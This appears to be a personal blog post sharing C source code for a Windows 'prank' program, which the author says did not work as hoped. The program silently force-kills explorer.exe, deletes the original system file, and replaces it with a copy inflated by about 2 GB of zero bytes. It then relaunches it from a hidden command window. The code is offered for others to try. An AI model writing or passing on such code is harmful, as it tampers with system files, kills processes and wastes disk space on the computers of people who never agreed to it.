Prank Project #1


Here’s one of my prank projects that i made during my free time prolly last year. This doesn’t works what it was supposed to though haha. Anyway here’s the source code if you would want to waste some time.

My intention

To make the computer lag or slow by appending gazillion bytes in the explorer.exe file

Epic fail

It doesn’t matter how big the file is ya know… the process is still running. Appending the bytes at the EOF (end of file) only enlarges the file… Probably people would think “wtf!! explorer.exe is 1gb big? How do i remove it!?”

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <shellapi.h>

int CopyFile(char *OLD, char *NEW);
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	// directory
	char DIRECTORY_EXP[256];	GetWindowsDirectory(DIRECTORY_EXP, 256);
								strcat(DIRECTORY_EXP, "\\explorer.exe");

	char DIRECTORY_TMP[256];	GetTempPath(256, DIRECTORY_TMP);
								strcat(DIRECTORY_TMP, "\\explorer.exe");

	char DIRECTORY_CMD[256];	GetSystemDirectory(DIRECTORY_CMD, 256);
								strcat(DIRECTORY_CMD, "\\cmd.exe");

	// copy file to temp
	if(CopyFile(DIRECTORY_EXP, DIRECTORY_TMP) == 0)
		return 0;

	FILE *open;
	open = fopen(DIRECTORY_TMP, "ab+");
	if(!open)
		return 0;

	int RATE = 65535;
	int COUNTER_START = 0;
	int COUNTER_END = 32767;

	char *buffer = (char *)malloc(RATE);
	memset(buffer, 0, RATE);

	while(COUNTER_START <= COUNTER_END)
	{
		fwrite(buffer, sizeof(char), RATE, open);
		COUNTER_START++;
		Sleep(1);
	}

	fclose(open);

	// kills current explorer.exe
	ShellExecute(NULL, "open", DIRECTORY_CMD, "/c taskkill /im explorer.exe /f", NULL, SW_HIDE);
	Sleep(1000);

	DeleteFile(DIRECTORY_EXP);
	CopyFile(DIRECTORY_TMP, DIRECTORY_EXP);

	ShellExecute(NULL, "open", DIRECTORY_CMD, "/c explorer.exe", NULL, SW_HIDE);
	Sleep(1000);

	return 1;
}

int CopyFile(char *OLD, char *NEW)
{
	DeleteFile(NEW);	// Delete any existing file

	FILE *copy, *paste;
	copy = fopen(OLD, "rb");
	paste = fopen(NEW, "wb");

	if(!copy || !paste) // if neither is available
		return 0;

	// get file size
	fseek(copy, 0, SEEK_END);
	int fileSize = ftell(copy);
	rewind(copy);

	// allocate memory
	char *buf = (char *)malloc(fileSize);
	fread(buf, sizeof(char), fileSize, copy);
	fclose(copy);

	// write file from buffer
	fwrite(buf, sizeof(char), fileSize, paste);
	fclose(paste);

	return 1;
}
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: